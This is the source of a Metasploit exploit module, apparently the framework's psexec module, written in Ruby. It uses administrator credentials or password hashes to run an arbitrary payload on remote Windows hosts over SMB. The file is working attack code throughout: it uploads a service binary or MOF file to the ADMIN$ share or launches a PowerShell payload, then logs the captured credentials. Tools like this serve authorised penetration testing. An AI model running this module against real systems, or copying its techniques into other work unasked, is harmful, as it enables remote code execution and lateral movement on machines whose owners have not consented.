##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

# Windows XP systems that are not part of a domain default to treating all
# network logons as if they were Guest. This prevents SMB relay attacks from
# gaining administrative access to these systems. This setting can be found
# under:
#
#  Local Security Settings >
#   Local Policies >
#    Security Options >
#     Network Access: Sharing and security model for local accounts

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::SMB::Client::Psexec
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft Windows Authenticated User Code Execution',
      'Description'    => %q{
          This module uses a valid administrator username and password (or
        password hash) to execute an arbitrary payload. This module is similar
        to the "psexec" utility provided by SysInternals. This module is now able
        to clean up after itself. The service created by this tool uses a randomly
        chosen name and description.
      },
      'Author'         =>
        [
          'hdm',
          'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module
          'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders
        ],
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'WfsDelay'     => 10,
          'EXITFUNC' => 'thread'
        },
      'References'     =>
        [
          [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
          [ 'OSVDB', '3106'],
          [ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],
          [ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],
          [ 'URL', 'http://sourceforge.net/projects/smbexec/' ]
        ],
      'Payload'        =>
        {
          'Space'        => 3072,
          'DisableNops'  => true
        },
      'Platform'       => 'win',
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'PowerShell', { } ],
          [ 'Native upload', { } ],
          [ 'MOF upload', { } ]
        ],
      'DefaultTarget'  => 0,
      # For the CVE, PsExec was first released around February or March 2001
      'DisclosureDate' => 'Jan 01 1999'
    ))

    register_options(
      [
        OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ])
      ])

    register_advanced_options(
      [
        OptBool.new('ALLOW_GUEST', [true, "Keep trying if only given guest access", false]),
        OptString.new('SERVICE_FILENAME', [false, "Filename to to be used on target for the service binary",nil]),
        OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),
        OptString.new('SERVICE_STUB_ENCODER', [false, "Encoder to use around the service registering stub",nil])
      ])
  end

  def exploit
    print_status("Connecting to the server...")
    connect()

    print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
    smb_login()

    if not simple.client.auth_user and not datastore['ALLOW_GUEST']
      print_line(" ")
      print_error(
        "FAILED! The remote host has only provided us with Guest privileges. " +
        "Please make sure that the correct username and password have been provided. " +
        "Windows XP systems that are not part of a domain will only provide Guest privileges " +
        "to network logins by default."
      )
      print_line(" ")
      disconnect
      return
    end

    if datastore['SMBUser'].to_s.strip.length > 0
      report_auth
    end

    case target.name
    when 'Automatic'
      if powershell_installed?
        print_status('Selecting PowerShell target')
        powershell
      else
        print_status('Selecting native target')
        native_upload
      end
    when 'PowerShell'
      powershell
    when 'Native upload'
      native_upload
    when 'MOF upload'
      mof_upload
    end

    handler
    disconnect
  end

  def powershell_installed?
    share = "\\\\#{datastore['RHOST']}\\#{datastore['SHARE']}"

    case datastore['SHARE'].upcase
    when 'ADMIN$'
      path = 'System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    when 'C$'
      path = 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'
    else
      path = datastore['PSH_PATH']
    end

    simple.connect(share)

    vprint_status("Checking for #{path}")

    if smb_file_exist?(path)
      vprint_status('PowerShell found')
      psh = true
    else
      vprint_status('PowerShell not found')
      psh = false
    end

    simple.disconnect(share)

    psh
  end

  def powershell
    ENV['MSF_SERVICENAME'] = datastore['SERVICE_NAME']
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)

    if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
      print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
    end

    # Execute the powershell command
    print_status("Executing the payload...")
    begin
      psexec(command)
    rescue StandardError => exec_command_error
      fail_with(Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
    end
  end

  def native_upload
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"
    servicename = datastore['SERVICE_NAME'] || rand_text_alpha(8)
    serviceencoder = datastore['SERVICE_STUB_ENCODER'] || ''

    # Upload the shellcode to a file
    print_status("Uploading payload...")
    smbshare = datastore['SHARE']
    fileprefix = ""
    # if SHARE = Users/sasha/ or something like this
    if smbshare =~ /.[\\\/]/
      subfolder = true
      smbshare = datastore['SHARE'].dup
      smbshare = smbshare.gsub(/^[\\\/]/,"")
      folder_list = smbshare.split(/[\\\/]/)
      smbshare = folder_list[0]
      fileprefix = folder_list[1..-1].map {|a| a + "\\"}.join.gsub(/\\$/,"") if folder_list.length > 1
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{fileprefix}\\#{filename}", 'rwct')
    else
      subfolder = false
      simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
      fd = smb_open("\\#{filename}", 'rwct')
    end
    exe = ''
    opts = { :servicename => servicename, :serviceencoder => serviceencoder}
    begin
      exe = generate_payload_exe_service(opts)

      fd << exe
    ensure
      fd.close
    end

    if subfolder
      print_status("Created \\#{fileprefix}\\#{filename}...")
    else
      print_status("Created \\#{filename}...")
    end

    # Disconnect from the share
    simple.disconnect("\\\\#{datastore['RHOST']}\\#{smbshare}")

    # define the file location
    if datastore['SHARE'] == 'ADMIN$'
      file_location = "%SYSTEMROOT%\\#{filename}"
    elsif datastore['SHARE'] =~ /^[a-zA-Z]\$$/
      file_location = datastore['SHARE'].slice(0,1) +  ":\\#{filename}"
    else
      file_location = "\\\\127.0.0.1\\#{smbshare}\\#{fileprefix}\\#{filename}"
    end

    psexec(file_location, false)

    unless datastore['SERVICE_PERSIST']
      print_status("Deleting \\#{filename}...")
      #This is not really useful but will prevent double \\ on the wire :)
      if datastore['SHARE'] =~ /.[\\\/]/
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{fileprefix}\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{fileprefix}\\#{filename} failed: #{e.message}")
        end
      else
        simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
        begin
          simple.delete("\\#{filename}")
        rescue XCEPT::ErrorCode => e
          print_error("Delete of \\#{filename} failed: #{e.message}")
        end
      end
    end
  end

  def mof_upload
    share = "\\\\#{datastore['RHOST']}\\ADMIN$"
    filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"

    # payload as exe
    print_status("Trying wbemexec...")
    print_status("Uploading Payload...")
    if datastore['SHARE'] != 'ADMIN$'
      print_error('Wbem will only work with ADMIN$ share')
      return
    end
    simple.connect(share)
    exe = generate_payload_exe
    fd = smb_open("\\system32\\#{filename}", 'rwct')
    fd << exe
    fd.close
    print_status("Created %SystemRoot%\\system32\\#{filename}")

    # mof to cause execution of above
    mofname = rand_text_alphanumeric(14) + ".MOF"
    mof = generate_mof(mofname, filename)
    print_status("Uploading MOF...")
    fd = smb_open("\\system32\\wbem\\mof\\#{mofname}", 'rwct')
    fd << mof
    fd.close
    print_status("Created %SystemRoot%\\system32\\wbem\\mof\\#{mofname}")

    # Disconnect from the ADMIN$
    simple.disconnect(share)
  end

  def report_auth
    service_data = {
        address: ::Rex::Socket.getaddress(datastore['RHOST'],true),
        port: datastore['RPORT'],
        service_name: 'smb',
        protocol: 'tcp',
        workspace_id: myworkspace_id
    }

    credential_data = {
        origin_type: :service,
        module_fullname: self.fullname,
        private_data: datastore['SMBPass'],
        username: datastore['SMBUser'].downcase
    }

    if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'
      credential_data.merge!({
        realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
        realm_value: datastore['SMBDomain']
       })
    end

    if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/
      credential_data.merge!({:private_type => :ntlm_hash})
    else
      credential_data.merge!({:private_type => :password})
    end

    credential_data.merge!(service_data)

    credential_core = create_credential(credential_data)

    login_data = {
        access_level: 'Admin',
        core: credential_core,
        last_attempted_at: DateTime.now,
        status: Metasploit::Model::Login::Status::SUCCESSFUL
    }

    login_data.merge!(service_data)
    create_credential_login(login_data)
  end
end
